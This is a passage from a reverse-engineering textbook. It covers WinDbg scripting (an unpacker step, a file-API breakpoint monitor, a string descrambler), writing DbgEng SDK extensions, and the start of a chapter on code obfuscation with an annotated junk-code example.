at most 200 bytes using the 1 fl ag with the search command s. This will return 

just the address where the match occurred. If no match is found, an empty string 

is returned and thus the .foreach has nothing to tokenize.

At marker 3, we skip seven bytes past the matched pattern location to point to 

the long relative jump (which jumps back to the OEP). Store that address into $t1.

At markers 4 and 5, we run the program until the JMP OEP instruction is 

reached (the ga command was used, so a hardware breakpoint is used rather 

than a software breakpoint), and then we trace once over the JMP OEP instruc-

tion and thus reach the fi rst instruction of the unpacked program.

Writing a Basic File Monitor

This example creates a script that illustrates how to use scripts in combination 

with conditional breakpoints to track all calls to ASCII and Unicode versions 

of various fi le I/O API functions: CreateFile, DeleteFile, GetFileAttributes, 

CopyFile, and so on.

The script is designed to be called once with the init parameter to initialize 

it and then multiple times as a command to the breakpoints it creates when it 

initializes.

The following parameters are passed when the script is called from the 

breakpoint:

 ■ ApiName—Used for display purposes only.

 ■ IsUnicode—Pass zero to specify that this is the ASCII version of the API, 

and pass one to specify that it is the Unicode version.

 ■ FileNamePointerIndex—The parameter number on the stack that contains 

the pointer to the fi lename buffer

 ■ ApiID—An ID of your choice, this parameter is optional. This is helpful 

if you want to add extra logic when this breakpoint occurs. In this script, 

CreateFile[A|W] is given the ID 5. Later you check whether this API is 

triggered, and then check what fi lename is accessed and act accordingly.

Here is the contents of the bp_displayfn.wds script:

.catch

{

       .if '${$arg1}' == 'init' (1)

       {
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             (2)

              bp kernelbase!CreateFileA @"$$>a<${$arg0} CreateFileA 0 1 5";

              bp kernelbase!CreateFileW @"$$>a<${$arg0} CreateFileW 1 1 5";

              

             (3)

              bp kernelbase!DeleteFileA @"$$>a<${$arg0} DeleteFileW 0 1";

              bp kernelbase!DeleteFileW @"$$>a<${$arg0} DeleteFileW 1 1";

              bp kernelbase!FindFirstFileA @"$$>a<${$arg0} FindFirstFileA 0 1";

              bp kernelbase!FindFirstFileW @"$$>a<${$arg0} FindFirstFileW 1 1";

              bp kernel32!MoveFileA @"$$>a<${$arg0} MoveFileA 0 1";

              bp kernel32!MoveFileW @"$$>a<${$arg0} MoveFileW 1 1";

              bp kernelbase!GetFileAttributesA 

                      @"$$>a<${$arg0} GetFileAttributesA 0 1";

              bp kernelbase!GetFileAttributesExA 

                      @"$$>a<${$arg0} GetFileAttributesExA 0 1";

              bp kernelbase!GetFileAttributesExW 

                      @"$$>a<${$arg0} GetFileAttributesExW 1 1";

              bp kernel32!CopyFileA @"$$>a<${$arg0} CopyFileA 0 1";

              bp kernel32!CopyFileW @"$$>a<${$arg0} CopyFileW 1 1";

              $$ Ignore some debug events (to lessen output pollution)

              sxi ld;

              $$ Display the list of the newly installed breakpoints

              bl;

             (4)

              .leave;

       }

      (5)

       $$ Display API name

       .printf "${$arg1}: >";

      (6)

       $$ Fetch the file name pointer 

       r $t0 = poi(@$csp + 4 * ${$arg3});

      (7) 

       $$ Is it a unicode string pointer?

       .if ${$arg2} == 1

       {

             (8)

              .printf "%mu<\n", @$t0;

       }

       .else

       {

              $$ Display as ASCII SZ (9)

              .printf "%ma<\n", @$t0;

       }

       $$ ApiID parameter set? (10)

       .if ${/d:$arg4} == 1

       {

              $$ ID of CreateFile API? (11)

              .if ${$arg4} == 5
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              {

                     $$ Grab the name of the file so we compare it

                     aS /mu ${/v:FILE_NAME} @$t0; (12)

                     .block

                     {

                          (13)

                            .if $sicmp(@"${FILE_NAME}", @"c:\temp\eb.txt") == 0

                            {

                                   .leave; (14)

                            }

                     }

                     ad /q ${/v:FILE_NAME};

              }

       }

       $$ Continue after breakpoint

       gc; (15)

}

At marker 1, we check whether the script is called with init; if so, then ini-

tialize the script (markers 2–4) and exit the script. At marker 2, we create two 

breakpoints for CreateFileA/W and set the condition to be the script itself, and 

pass ApiID = 5.

At markers 3 and 4, we add breakpoints for the rest of the APIs without pass-

ing the ApiID argument, and then return from the script. At markers 5 and 6, 

we print the API name then assign into $t0 the pointer of the fi lename (using 

the passed parameter index). At markers 7–9, we check if the script is called for 

the ASCII or Unicode version of the API and then appropriately use the %mu or 

the %ma format specifi er. At markers 10–12, we check if an ApiID was passed 

and is the CreateFile ApiID.

At markers 12–14, we extract the fi lename into an alias called FILE_NAME, create 

a block so that the alias is expanded properly, and then compare the FILE_NAME 

alias against a desired fi le path. (Notice the use of @ to indicate literal string 

expansion.) If the path matches what we are looking for, the script terminates 

and suspends execution. Finally, at marker 15, the script will resume execution 

after any of the defi ned breakpoint is reached.

To use this script, run it with the init parameter fi rst:

0:000> $$>a<P:\book\scripts\bp_displayfn.wds init; g;

Writing a Basic String Descrambler

This script implements a simple descrambling routine. Imagine the C scrambling 

routine is as follows:

void descramble(unsigned char *p, size_t sz)
{
  for (size_t i=0;i<sz;i++, ++p)



256 Chapter 4 ■ Debugging and Automation

c04.indd 07:18:8:PM  07/20/2016 Page 256

  {
      *p = *p ^ (235 + (i & 1));
  }
}

N O T E  The descrambling routine can be more sophisticated. If the routine involves 

the use of tables and whatnot, remember that you have access to those tables because 

the script has full access to the debuggee’s memory.

The following is the same routine implemented using the DbgEng’s scripting 

language. Note how it makes use of the @@c++ evaluator to easily mimic the 

original algorithm:

.catch

{

       $$ Take the Source

       r $t0 = ${$arg1};

       $$ Take the Destination

       r $t1 = ${$arg2};

       $$ Take the Size

       r $t2 = ${$arg3};

       .for (r $t3=0; @$t3<@$t2; r $t3 = @$t3 + 1, $t0 = @$t0+1, $t1=@$t1+1)

       {

              r $t4 = @@c++((*(unsigned char *)@$t0) ^ (235 + (@$t3 & 1)));

              eb @$t1 @$t4;

       }

       $$ Display the descrambled result

       db ${$arg2} L ${$arg3};

}

The scrambled memory contents is as follows:

0:000> db 0x4180a4 L 30

004180a4  bb 9e 8a 8f 9f 85 88 8d-87 cc 99 89 9d 89 99 9f  ................

004180b4  8e cc 8e 82 8c 85 85 89-8e 9e 82 82 8c ec eb ec  ................

004180c4  eb ec eb ec eb ec eb ec-eb ec eb ec eb ec eb ec  ................

To descramble, run the script:

0:000> @dvalloc 1; ? $t0

Evaluate expression: 131072 = 00020000

0:000> $$>a<descramble.wds 0x4180a4 0x20000 30

00020000  50 72 61 63 74 69 63 61-6c 20 72 65 76 65 72 73  Practical revers

00020010  65 20 65 6e 67 69 6e 65-65 72 69 6e 67 00 00 00  e engineering...

00020020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
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Using the SDK

So far we have covered how to automate tasks using the scripting facilities 

provided by the debugging tools. The SDK that ships with the debugging tools 

provides another way to automate or extend the debugger. It ships with header 

fi les, library fi les to link your extension with, and various examples that show 

you how to use the DbgEng programmatically.

The SDK is found in the sdk subdirectory where the debugging tools are 

installed. It has the following directory structure:

 ■ Help—Contains references to the DbgHelp library.

 ■ Inc—Contains the includes needed when using the SDK.

 ■ Lib—Contains the appropriate library fi les used during the linking build 

stage. It contains libraries for WOA (Windows on ARM), AMD64, and i386.

 ■ Samples—Contains samples of various examples written using the different 

frameworks that can be used to write debugger extensions. There are also 

samples on how to use the DbgEng instead of writing an extension for it.

Although covering the SDK is beyond the scope of this chapter, the following 

sections briefl y discuss how to use the SDK to write DbgEng extensions for the 

debugger. The material covered should be just enough to give you a head start, 

making it easy for you to understand the sample extensions and start learning 

and writing your own.

To begin, you should know that the SDK provides three frameworks with 

which you can write extensions:

 ■ WdbgExts extension framework—These are the original WinDbg exten-

sions. To interact with the DbgEng, they require exporting a few callbacks 

in order to work with the WinDbg Extension APIs instead of the debug-

ger client interface. The programmer can later acquire a debugger client 

interface or other interfaces on demand if more functionality is required.

 ■ DbgEng extension framework—These newer types of extensions can 

provide extra functionality to the extension writer. The extension com-

mands have access to a debugger client interface instance that enables 

them to acquire other interfaces and interact further with the DbgEng.

 ■ EngExtCpp extensions—Built on top of the DbgEng extension framework, 

these extensions are created by subclassing the ExtExtension base class. 

The ExtExtension class provides a variety of utility functions that enable 

the extension to perform complex tasks.
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The following sections briefl y illustrate how to write extensions using the 

WdbgExts extension framework. Please note that writing extensions using either 

of the other frameworks is fairly straightforward and can be done by following 

the SDK samples that ship with the Debugging Tools package.

Concepts

This section describes two methods for accessing the DbgEng APIs:

 ■ Via the debugger interfaces, which can be retrieved using a debug client 

object instance.

 ■ Via a structure passed to the WbgExts extension initialization callback. 

The structure contains a set of API function pointers that can be used by 

the extension.

The Debugger Interfaces

The DbgEng provides seven base interfaces to be used by the programmer. 

Over time, more functionality has been added, and in order to preserve back-

ward compatibility, new versions of those interfaces have been introduced. For 

example, at the time of writing, IDebugControl is the fi rst interface version and 

IDebugControl4 is the latest version of this interface.

Following is the list of interfaces and a brief explanation of their purpose and 

some of the functions they provide:

 ■ IDebugClient5—This interface provides various useful functions to start 

or stop a debugging session and set the necessary DbgEng callbacks 

(input/output/events). In addition, its QueryInterface method is used 

to retrieve interfaces of the remaining interfaces.

 ■ CreateProcess/AttachProcess—Creates a new process or attaches 

to an existing one:

 ■ AttachKernel—Attaches to a live kernel debugger.

 ■ GetExitCode—Returns the exit code of a process.

 ■ OpenDumpFile—Starts a debugging session from a dump fi le.

 ■ SetInputCallbacks/SetEventCallbacks—Sets the input/output 

callbacks.

 ■ IDebugControl4—This interface provides process-control-related functions:

 ■ AddBreakpoint—Adds a breakpoint.

 ■ Execute—Executes a debugger command.
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 ■ SetInterrupt—Signals the DbgEng to break into the target.

 ■ WaitForEvent—Waits until a debugger event occurs. This is similar to 

the WaitForDebugEvent() Win32 API.

 ■ SetExecutionStatus—Sets the DbgEng’s status. This allows the pro-

grammer to resume execution, request a step into or step over, etc.

 ■ IDebugDataSpaces4—This interface provides memory and data-related 

functionality:

 ■ ReadVirtual—Reads memory from the target’s virtual memory.

 ■ QueryVirtual—Equivalent to Win32’s VirtualQuery(), this function 

queries the virtual memory of the target’s virtual address space.

 ■ ReadMsr—Reads the model-specifi c register value.

 ■ WritePhysical—Writes physical memory.

 ■ IDebugRegisters2—Provides register introspection (enumeration, infor-

mation query) and set/get functionality. The DbgEng assigns registers an 

index. To work with a named register you have to fi rst fi gure out its index:

 ■ GetDescription—Returns a description of the register (size, name, 

type, etc.).

 ■ SetValue/GetValue—Sets/gets the value of a register.

 ■ GetIndexByName—Finds a register index given its name.

 ■ IDebugSymbols3—Provides functionality to deal with debugging symbols, 

source line information, querying types, etc:

 ■ GetImagePath—Returns the executable image path.

 ■ GetFieldName—Returns the name of a fi eld within a structure.

 ■ IDebugSystemObjects4—Provides functionality to query information 

from the debugged target(s) and the system it runs on: 

 ■ GetCurrentProcessId—Returns the DbgEng process id of the currently 

debugged process.

 ■ GetCurrentProcessHandle—Returns the system handle of the current 

process.

 ■ SetCurrentThreadId—Switches the current thread given its DbgEng 

id. This is equivalent to the ~Nk command.

 ■ IDebugAdvanced4—Provides more functionality not necessarily present 

in the other interfaces:

 ■ GetThreadContext/SetThreadContext—Gets/sets the thread context.

 ■ GetSystemObjectInformation—Returns information about the desired 

system object.
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In order to use the APIs via the interfaces, you need to have an instance of 

the IDebugClient (debugger client) interface or any of its derived interfaces. In 

the following code snippet, the IDebugClient5 interface instance is passed to 

the CreateInterfaces utility function. The latter then calls QueryInterface 

repetitively to retrieve the needed interfaces:

bool CreateInterfaces(IDebugClient5 *Client)

{

  // Interfaces already created?

  if (Control != NULL)

    return true;

  // Get the debug client interface

  if (Client == NULL)

  {

    m_LastHr=m_pDebugCreate(__uuidof(IDebugClient5),(void**)&Client);

    if (m_LastHr != S_OK)

      return false;

  }

    // Query for some other interfaces that we'll need.

    do

    {

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugControl4), 

        (void**)&Control);

      if (m_LastHr != S_OK)

        break;

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugSymbols3), 

        (void**)&Symbols);

      if (m_LastHr != S_OK)

        break;

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugRegisters2), 

        (void**)&Registers);

      if (m_LastHr != S_OK)

        break;

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugSystemObjects4), 

        (void**)&SystemObjects);

      if (m_LastHr != S_OK)

        break;

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugAdvanced3), 

        (void**)&Advanced);

      if (m_LastHr != S_OK)

        break;

      m_LastHr = Client->QueryInterface(

        __uuidof(IDebugDataSpaces4), 

        (void**)&DataSpace);

    } while ( false);
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  return SUCCEEDED(m_LastHr);

}

The interface variables are defi ned like this:

IDebugDataSpaces4    *DataSpace;
IDebugRegisters2     *Registers;
IDebugSymbols3       *Symbols;
IDebugControl4       *Control;
IDebugSystemObjects4 *SystemObjects;
IDebugAdvanced3      *Advanced;

To acquire a debugger client interface (IDebugClient), use either the DebugCreate 

function or the DebugConnect (connect to a remote host) function. The following 

example acquires a debugger client interface using DebugCreate:

HRESULT Status;
IDebugClient *Client;
if ((Status = DebugCreate(__uuidof(IDebugClient),
                          (void**)&Client)) != S_OK)
{
    printf("DebugCreate failed, 0x%X\n", Status);
    return -1;
}
// Okay, now ready to query for other interfaces...

WinDbg Extension APIs

Debugger extensions receive a pointer to a WINDBG_EXTENSION_APIS structure 

via the WinDbgExtensionDllInit extension initialization callback routine. The 

structure has the following API pointers:

// wdbgexts.h
typedef struct _WINDBG_EXTENSION_APIS {
    ULONG                                  nSize;
    PWINDBG_OUTPUT_ROUTINE                 lpOutputRoutine;
    PWINDBG_GET_EXPRESSION                 lpGetExpressionRoutine;
    PWINDBG_GET_SYMBOL                     lpGetSymbolRoutine;
    PWINDBG_DISASM                         lpDisasmRoutine;
    PWINDBG_CHECK_CONTROL_C                lpCheckControlCRoutine;
    PWINDBG_READ_PROCESS_MEMORY_ROUTINE    lpReadProcessMemoryRoutine;
    PWINDBG_WRITE_PROCESS_MEMORY_ROUTINE   lpWriteProcessMemoryRoutine;
    PWINDBG_GET_THREAD_CONTEXT_ROUTINE     lpGetThreadContextRoutine;
    PWINDBG_SET_THREAD_CONTEXT_ROUTINE     lpSetThreadContextRoutine;
    PWINDBG_IOCTL_ROUTINE                  lpIoctlRoutine;
    PWINDBG_STACKTRACE_ROUTINE             lpStackTraceRoutine;
} WINDBG_EXTENSION_APIS, *PWINDBG_EXTENSION_APIS;
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When the extension receives this structure, it should copy and store it in a 

global variable, preferably named ExtensionApis. The reason to choose this 

particular variable name is because the header fi le wdbgexts.h defi nes some 

macros that refer to ExtensionApis to access the API pointers:

extern WINDBG_EXTENSION_APIS ExtensionApis;

#define dprintf          (ExtensionApis.lpOutputRoutine)
#define GetExpression    (ExtensionApis.lpGetExpressionRoutine)
#define CheckControlC    (ExtensionApis.lpCheckControlCRoutine)
#define GetContext       (ExtensionApis.lpGetThreadContextRoutine)
...
#define ReadMemory       (ExtensionApis.lpReadProcessMemoryRoutine)
#define WriteMemory      (ExtensionApis.lpWriteProcessMemoryRoutine)
#define StackTrace       (ExtensionApis.lpStackTraceRoutine)

These macros enable extension writers to directly call StackTrace or 

WriteMemory, for instance, instead of using pExtension.lpStackTraceRoutine 

or pExtension.WriteMemory.

Apart from being able to use only the functions declared in the WINDBG_

EXTENSION_APIS structure, it is also possible to use a whole range of other 

functions that are based on the ExtensionApis.lpIoctlRoutine function. 

For example, ReadPhysical() is an inline function that calls IoCtl() with the 

IG_READ_PHYSICAL control code while passing it the appropriate parameters.

Please refer to the DbgEng help fi le for a list of functions that you can use 

inside WdbgExts extensions.

Writing Debugging Tools Extensions

In the previous section you learned the concepts behind the SDK; now you are 

ready to delve into more details about what a WdbgExts extension looks like 

and how to write a very basic extension.

A debugger extension is simply a Microsoft Windows DLL. The DLL has to 

export two mandatory functions needed by the DbgEng and then export as 

many functions as the extension is providing to the debugger.

The fi rst function that should be exported is WinDbgExtensionDllInit. It is 

called when the debugger loads your extension:

VOID WinDbgExtensionDllInit(

    PWINDBG_EXTENSION_APIS lpExtensionApis,

    USHORT MajorVersion,

    USHORT MinorVersion)

{

    ExtensionApis = *lpExtensionApis; // Take a copy

    // Optionally also save the version information 

    SavedMajorVersion = MajorVersion; 
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    SavedMinorVersion = MinorVersion;

    return;

}

Notice that you save the passed lpExtensionApis pointer contents. The passed 

version information variables denote the Microsoft Windows build type and 

build number, respectively. Optionally save those variables if you want to check 

their values in the extension commands later.

The second function that should be exported is ExtensionApiVersion. It is 

called by the DbgEng when it wants to query the version information from 

your extension:

EXT_API_VERSION ApiVersion = 
{ 
  5, // Major
  1, // Minor
  EXT_API_VERSION_NUMBER64,  // Revision
  0 // Reserved
};

LPEXT_API_VERSION ExtensionApiVersion(VOID)
{
  return &ApiVersion;
}

Now that the mandatory functions (or callbacks) have been defi ned, you 

proceed by declaring the extension commands.

An extension command has the following declaration:

CPPMOD VOID myextension(

  HANDLE                 hCurrentProcess,
  HANDLE                 hCurrentThread,
  ULONG                  dwCurrentPc,
  ULONG                  dwProcessor,
  PCSTR                  args)

The most notable passed arguments are as follows:

 ■ dwProcessor—The index of the current processor

 ■ dwCurrentPc—The current instruction pointer

 ■ args—The arguments passed (if any)

Another preferred way to declare an extension function is to use the DECLARE_

API(api_s) macro:

DECLARE_API( test )
{
  dprintf("This is a test extension routine");
}
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N O T E  At any time, any extension command can call DebugCreate()and then get 

any interface it wants in order to gain extra functionality. 

The fi nal step is to export the two mandatory functions and the extension 

commands that you plan to expose to the DbgEng. The usual way is to create a 

.def fi le and call the linker with an additional /DEF:filename.def switch. This 

is what the DEF fi le for the test extension we wrote looks like:

EXPORTS

  ; Callbacks provided for the debugger
  WinDbgExtensionDllInit
  ExtensionApiVersion

  ; Command callbacks
  test

Place the resulting DLL in the debugging tools directory (or in the winext 

subdirectory) or in the Windows system directory. Use !load extname to load 

your compiled extension and then !extension_command or !extname.ext_com-

mand to execute the extension command.

Useful Extensions, Tools, and Resources

Following is a short list of useful extensions, tools, and resources that can enhance 

your debugging experience:

 ■ narly (https://code.google.com/p/narly/)—A handy extension that lists 

/SAFESEH handlers, displays information about /GS and DEP, searches for 

ROP gadgets, and provides other miscellaneous commands.

 ■ SOS—This extension, which ships with the Windows Driver Kit (WDK), 

facilitates managed code debugging.

 ■ !analyze—A very useful extension (ships with the DbgEng) that displays 

information about the current exception or bugcheck.

 ■ VirtualKd (http://virtualkd.sysprogs.org/)—This is a tool that improves 

the kernel debugging speed when used with VMWare or VirtualBox. 

 ■ windbg.info—This website provides a very comprehensive WinDbg/

DbgEng command reference and a discussion forum for users.

 ■ kdext.com—This website provides a pair of DbgEng extensions. A nota-

ble extension is the assembly syntax highlighting and UI enhancements 

extension.

https://code.google.com/p/narly/
http://virtualkd.sysprogs.org/
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 ■ SysecLabs WinDbg Scripts (www.laboskopia.com/download/SysecLabs-
Windbg-Script.zip)—A set of scripts that help you inspect the kernel. 

Especially useful for rootkit hunting. 

 ■ !exploitable (http://msecdbg.codeplex.com/)—An extension that pro-

vides automated crash analysis and security risk assessment.

 ■ Qb-Sync (https://github.com/quarkslab/qb-sync)—A nifty WinDbg 

extension by Quarkslab that enables synchronizing IDA Pro’s disassembly 

or graph view with WinDbg.

 ■ Pykd (http://pykd.codeplex.com/)—A Python extension to access the 

DbgEng. 

http://www.laboskopia.com/download/SysecLabs-Windbg-Script.zip
http://www.laboskopia.com/download/SysecLabs-Windbg-Script.zip)%E2%80%94
http://msecdbg.codeplex.com/
https://github.com/quarkslab/qb-sync
http://pykd.codeplex.com/
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Reverse engineering compiler-generated code is a diffi cult and time-consuming 

process. The situation gets even worse when the code has been hardened, delib-

erately constructed to resist analysis. We refer to such techniques for hardening 

programs under the general umbrella of obfuscation. Some examples of situations 

in which obfuscation might be applied are as follows:

 ■ Malware—Avoiding the scrutiny of both antivirus detection engines 

and reverse engineers is a primary motive of the criminals who employ 

malware in their operations, and therefore this has been a traditional 

application of obfuscation for many years now.

 ■ Protection of intellectual property—Many commercial programs have 

some sort of protection against unauthorized duplication. Some systems 

employ further obfuscation for the purpose of obscuring the implementa-

tion details of certain parts of the system. Good examples include Skype, 

Apple’s IMessage, or even the Dropbox client, which protect their com-

munication protocol formats with obfuscation and cryptography.

C H A P T E R 

5

Obfuscation
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 ■ Digital Rights Management—DRM schemes commonly protect certain 

crucial pieces of information (e.g., cryptographic keys and protocols) using 

obfuscation. Apple’s FairPlay, Microsoft’s Media Foundation Platform and 

its PlayReader DRM, to cite only two, are examples of obfuscation applica-

tion. Currently, this is the leading contemporary application of obfuscation.

Speaking in the abstract, “obfuscation” can be viewed in terms of program 
transformations. The goal of such methods is to take as input a program, and 

produce as output a new program that has the same computational effect as the 

original program (formally speaking, this property is called semantic equivalence 
or computational equivalence), but at the same time it is “more diffi cult” to analyze.

The notion of “diffi culty of analysis” has long been defi ned informally, without 

any backing mathematical rigor. For example, it is widely believed that—insofar 

as a human analyst is concerned—a program’s size is an indicator of the diffi culty 

in analyzing it. A program that consumes 20,000 instructions in performing a 

single operation might be thought to be “more diffi cult” to analyze than one 

that takes one instruction to perform the same operation. Such assumptions are 

dubious and have attracted the scrutiny of theoreticians (such as that by Mila 

Dalla Preda17 and Barak et al.2). 

Several models have been proposed to represent an obfuscator, and (in a 

dual way) a deobfuscator. These models are useful to improve the design of 

obfuscation tools and to reason about their robustness, through adapted criteria. 

Among them, two models are of special interest. 

The fi rst model is suited for the analysis of cryptographic mechanisms, in 

the so-called white box attack context. This model defi nes an attacker as a proba-

bilistic algorithm that tries to deduce a pertinent property from a protected 

program. More precisely, it tries to extract information other than what can be 

trivially deduced from the analysis of the program’s inputs and outputs. This 

information is pertinent in the sense that it enables the attacker to bypass a 

security function or represents itself as critical data of the protected program. 

In a dual way, an obfuscator is defi ned in this model as a virtual black box’s 

probabilistic generator, an ideal obfuscator ensuring that the protected program 

analysis does not provide more information than the analysis of its input and 

output distributions.

Another way to formalize an attacker is to defi ne the reverse engineering action 

as an abstract interpretation of the concrete semantics of the protected program. 

Such a defi nition is naturally suited to the static analysis of the program’s data 

fl ow, which is a fi rst step before the application of optimization transformations. 

In a dual way, an obfuscator is defi ned in the abstract interpretation model as 

a specialized compiler, parameterized by some semantic properties that are 

not preserved.

The goal of these modeling attempts is to get some objective criteria relative to 

the effective robustness of obfuscation transformations. Indeed, many problems 
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that were once thought to be diffi cult can be effi ciently attacked via judicious 

application of code analysis techniques. Many methods that have arisen in the 

context of more conventional topics in programming language theory (such as 

compilers and formal verifi cation) can be repurposed for the sake of defeating 

obfuscation.

This chapter begins with a survey of existing obfuscation techniques as 

commonly found in real-world situations. It then covers the various available 

methods and tools developed to analyze and possibly break obfuscation code. 

Finally, it provides an example of a diffi cult, modern obfuscation scheme, and 

details its circumvention using state-of-the-art analysis techniques.

A Survey of Obfuscation Techniques

For simplicity of presentation, we begin by dividing obfuscations into two 

categories: data-based obfuscation and control-based obfuscation. You will 

see later that the two combine in complex and diffi cult ways and are, in fact, 

inseparable. Before wandering deeply down these paths, however, we begin 

with a representative example of the types of code that one might encounter in 

real-world obfuscation. Note that the example is particularly simple because it 

involves only data-based obfuscations, not control-based ones.

The Nature of Obfuscation: A Motivating Example

When targeting the x86 processor, compilers tend to generate instructions drawn 

from a particular, tiny subset of the available instruction set, and the control 

structure of the generated program follows predictable conventions. Over time, 

the reverse engineer develops a style of analysis tailored to these patterns of 

structured code. When confronted by nonconformant code, the speed of one’s 

analysis can suffer tremendously.

This phenomenon can be illustrated simply by a concrete example. Because 

one of the goals of a compiler optimizer is to reduce the amount of computa-

tional resources involved in performing a task, and 50 years’ worth of research 

have imbued them with formidable capabilities toward this pursuit, one does 

not commonly spot obvious ineffi ciencies in the translation of the original 

source code into assembly language. For example, if the source code were to 

dictate that some variable be incremented by fi ve (e.g., due to a statement such 

as x += 5;), a compiler would likely generate assembly code akin to one of 

the following:

01: add eax, 5 
02: add dword ptr [ebp-10h], 5 
03: lea ebx, [ecx+5]
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In obfuscated code, one might instead encounter code such as the following, 

assuming that EAX corresponds to the variable x, and that the value of EBX is 

free to be overwritten (or “clobbered”):

01: xor ebx, eax
02: xor eax, ebx
03: xor ebx, eax
04: inc eax
05: neg ebx
06: add ebx, 0A6098326h
07: cmp eax, esp
08: mov eax, 59F67CD5h
09: xor eax, 0FFFFFFFFh
10: sub ebx, eax
11: rcl eax, cl
12: push 0F9CBE47Ah
13: add dword ptr [esp], 6341B86h
14: sbb eax, ebp
15: sub dword [esp], ebx
16: pushf
17: pushad
18: pop eax
19: add esp, 20h
20: test ebx, eax
21: pop eax

You can see a variety of obfuscation techniques at work in this example:

 ■ Lines 1–3 use the “XOR swap trick” for exchanging the contents of two 

locations—in this case, the EAX and EBX registers.

 ■ Line 4 shows an assignment to the EAX register that is actually “junk” (as 

EAX is overwritten with a constant on line 8).

 ■ On lines 5–6, the EBX register is negated and added to the constant 

0A6098326h: EBX = - EAX + 0A6098326h.

 ■ On line 7, EAX is compared with ESP. The CMP instruction modifi es only 

the fl ags, and the fl ags are overwritten on subsequent lines before being 

used again, so this code is junk.

 ■ Lines 8–9 move the constant 59F67CD5h into the EAX register and XOR it with 

-1h (which, in binary, is all one bits). XORing with all ones is equivalent 

to the NOT operation; therefore, the effect of this sequence is to move the 

constant 0A609832Ah into EAX.

 ■ Line 10 subtracts the constant in EAX from EBX: EBX = - EAX + 0A6098326h 

- 0A609832Ah, or EBX = - EAX - 5, or EBX = -( EAX + 5).

 ■ Line 11 modifi es EAX through use of the RCL instruction. This instruction 

is junk because EAX is overwritten on line 18.
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 ■ Lines 12–13 push the constant 0F9CBE47Ah and then add the constant 

6341B86h to it, resulting in the value 0h on the bottom of the stack.

 ■ Line 14 modifi es EAX through use of the SBB instruction, involving the 

extraneous register EBP. This instruction is junk, as EAX is overwritten on 

line 18.

 ■ Line 15 subtracts EBX from the value currently on the bottom of the stack 

(which is 0h). Therefore, dword ptr [ESP] = 0 - -( EAX + 5), or dword 

ptr [ESP] = EAX + 5.

 ■ Lines 16–19 demonstrate operations involving the stack: nine dwords are 

pushed, one is popped into EAX, and the stack pointer is then adjusted to 

point to the same location that it pointed to before the sequence executed.

 ■ Line 20 tests EBX against the EAX register and sets the fl ags accordingly. If 

the fl ags are redefi ned before their next use, then this instruction is dead.

 ■ Line 21 pops the value on the bottom of the stack (which holds EAX + 5) 

into the EAX register.

In summary, the code computes EAX = EAX + 5.

Needless to say, the obfuscated code does not at all resemble the compiler-

generated code, and one faces considerable diffi culty in ascertaining the function-

ality of the snippet. Several obfuscation techniques are present in this example:

 ■ Pattern-based obfuscation

 ■ Constant unfolding

 ■ Junk code insertion 

 ■ Stack-based obfuscation

 ■ The use of uncommon instructions, such as RCL, SBB, PUSHF, and PUSHAD

Correspondingly, a variety of existing compiler transformations can be used 

to render the code into a form that is closer to the original:

 ■ Peephole optimization 

 ■ Constant folding 

 ■ Dead statement elimination 

 ■ Stack optimization

The Interplay Between Data Flow and Control Flow

Consider the following instruction sequence:

01: mov eax, dword ptr [ebp-10h]
02: jmp eax
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Suppose you wish to construct a “correct,” classical control-fl ow graph for a 

program containing sequences like this one. In order to determine what the next 

instruction will be after line 2 has executed—or, perhaps the set of potential 

successor instructions—you need to determine the set of possible value(s) for 

the EAX register at that location. In other words, the control fl ow for this snip-

pet is dependent upon the data fl ow as it pertains to the location [EBP-10h] 

at the program point l1 (line 1). However, in order to determine the data fl ow 

with respect to [EBP-10h], you need to determine the control fl ow with respect 

to the line 1 location: You must know all possible control transfer instructions 

(and the associated data fl ow leading to those locations) that could possibly 

target the line 1 location. It is not meaningful to talk about control fl ow without 

simultaneously talking about data fl ow, or vice versa.

The situation is even more diffi cult than it might appear on the surface. Program 

analysis tries to answer questions such as “What values might the location [EBP-

10h] assume under any possible circumstance?” To combat intractability and 

undecidability, many forms of program analysis employ approximations of the 

state space. Some approximations are fi ne (e.g., approximating the set {1,3} by 

{1,2,3} ), and some are coarse (e.g., approximating that same set by {0,1,...,232 −1}). 

(Fine and coarse are not technical terms in this paragraph.) If you cannot fi nely 

approximate the set of potential values of the [EBP-10h] location (for example, 

if you must assume that the location could take on any possible value), then 

you do not know where the jump will point, so you must assume that it could 

target any location within the address space. Then, the data fl ow facts from the 

line 2 location must be propagated into those at every other location. In practical 

settings, such a decision will severely impact the analysis, most likely causing 

it to conservatively conclude that all states are possible at all locations, which 

is correct but useless.

Worse yet, if you ever must assume that a jump could target any location, 

then due to variable-length instruction encoding on x86, many of these trans-

fers will be into locations that do not correspond to the beginning of a proper 

instruction. Such bogus instructions are likely to wreak havoc on any analysis, 

especially when combined with the observations in the previous paragraph.

Academic work in this area, such as that by Kinder30 and Thakur et al.41, seeks 

to construct systems that can return correct answers for all possible inputs. These 

systems prefer to tell users that they cannot determine precise information, 

return correct but grossly imprecise results, or die trying (e.g., by exhausting 

all available memory or failing to terminate due to tractability issues), rather 

than give an answer that is not fully justifi ed. This goal is laudable, given the 

motivation from whence these disciplines were founded: to ensure absolute 

correctness of programs and analyses. However, it is not in line with our moti-

vations as obfuscation researchers.
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Deobfuscation is a creature of a different sort than formal verifi cation or 

program analysis, even if we prefer to use techniques developed in those con-

texts. Whereas an obfuscator transforms a program Porig into a program Pobf, we 

seek either a translator from Pobf into Porig or enough information about Pobf to 

answer questions proximate to some reverse engineering effort. We hesitate to 

use unsound methods, but we prefer actual results when the day is fi nished, so 

we may employ such methods, albeit consciously and grudgingly.

Data-Based Obfuscations

We begin by looking at obfuscation techniques that can be best described in 

terms of their effect on data values and noncontrol computations. In particular, 

assume that the presented snippets occur within a single basic block of the pro-

gram’s control-fl ow graph. The discussions of control-based obfuscations, and 

their combination with data-based obfuscations, are deferred to later sections.

Constant Unfolding

Constant folding is one of the earliest and most basic compiler optimizations. The 

goal of this optimization is to replace computations whose results are known at 

compile-time with those results. For example, in the C statement x = 4 * 5;, 

the expression 4 * 5 consists of a binary arithmetic operator (*) that is supplied 

with two operands whose values are statically known (4 and 5, respectively). It 

would be wasteful for the compiler to generate code that computed this result 

at run-time, as it can deduce what the result will be during compilation. The 

compiler can simply replace the assignment with x = 20;.

